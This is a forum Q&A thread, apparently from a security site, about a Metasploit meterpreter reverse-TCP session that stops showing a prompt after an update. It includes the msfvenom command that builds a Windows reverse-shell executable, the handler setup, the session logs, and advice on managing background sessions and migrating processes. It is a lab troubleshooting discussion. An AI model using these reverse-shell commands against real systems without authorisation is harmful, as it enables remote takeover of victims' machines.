2

This might be better posted on the R7 forum, but I feel like I might get a quicker response here as I'm waiting for access to post in their forums.

On a base installation of Kali (Metasploit version 4.14.10-dev) my meterpreter payload works like a charm.

Payload generation is done with the following command

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.10.95 lport=443 -f exe -o shell.exe

Result with Metasploit version 4.14.10-dev

msf > use exploit/multi/handler 
msf exploit(handler) > set lhost 192.168.10.95
lhost => 192.168.10.95
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > set payload windows/x64/meterpreter_reverse_tcp 
payload => windows/x64/meterpreter_reverse_tcp
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.10.95:443 
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.10.95:443 -> 192.168.10.75:50484) at 2017-08-27 11:52:45 -0400

meterpreter > 

If I update the database with msfupdate and update to version 4.15.8-dev the result is similar to the above, but the meterpreter > prompt never fires and commands don't execute.

msf > use exploit/multi/handler 
msf exploit(handler) > set lhost 192.168.10.95
lhost => 192.168.10.95
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > set payload windows/x64/meterpreter_reverse_tcp 
payload => windows/x64/meterpreter_reverse_tcp
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.10.95:443 
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.10.95:443 -> 192.168.10.75:50484) at 2017-08-27 11:54:45 -0400

Has anyone else come across this before & know how to resolve?

EDIT :

Output of show advanced

msf exploit(handler) > show advanced

Module advanced options (exploit/multi/handler):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExitOnSession           false            yes       Return from the exploit after a session has been created
   ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                0                no        Additional delay when waiting for a session


Payload advanced options (windows/x64/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoVerifySession            true             yes       Automatically verify and drop invalid sessions
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               yes       The number of connection attempts to try before exiting the process
   StagerRetryWait              5.0              no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

In response to void_in, it appears as though the meterpreter session does not fully open. I cannot interact with sessions or background a task.

msf > use exploit/multi/handler 
msf exploit(handler) > set lhost 192.168.10.95
lhost => 192.168.10.95
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.10.95:443 
[*] Meterpreter session 1 opened (192.168.10.95:443 -> 192.168.10.75:53518) at 2017-08-28 09:03:41 -0400
sessions -l
background
2
  • show advanced. Also, the target system may need to be restarted if the buffer overflow borked the target service. Aug 27, 2017 at 17:32
  • @MarkBuffalo updated question for output of show advanced. I'm not exploiting a bof just clicking on a .exe for testing purposes.
    – DKNUCKLES
    Aug 28, 2017 at 13:10

1 Answer 1

2

Meterpreter session is opened. All you need to do is run sessions -l to display all the session IDs and then interact with one through sessions -i <id>. A recent update has made the exploit -j (run exploits as jobs) as the default behavior that is why sessions are created in the background

4
  • Thanks for the feedback - unfortunately no love. Updated question with further info.
    – DKNUCKLES
    Aug 28, 2017 at 13:10
  • What happens if you press enter after you receive the "Meterpreter session 1 opened ... " message? If you are back at the msf >, could you run sessions -l there and see the output?
    – void_in
    Aug 28, 2017 at 14:29
  • Oddly, this appears to work. I had to recreate the .exe and when it fires no meterpreter > prompt arrives. I hit CTRL + C and receive an error [*] Exploit completed, but no session was created. but if I type sessions -l the session is listed. I type sessions -i 1 and I'm prompted with my meterpreter > prompt.
    – DKNUCKLES
    Aug 28, 2017 at 15:44
  • Derp. Can't believe I missed this one. You should also look into process migration. Aug 28, 2017 at 17:29

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .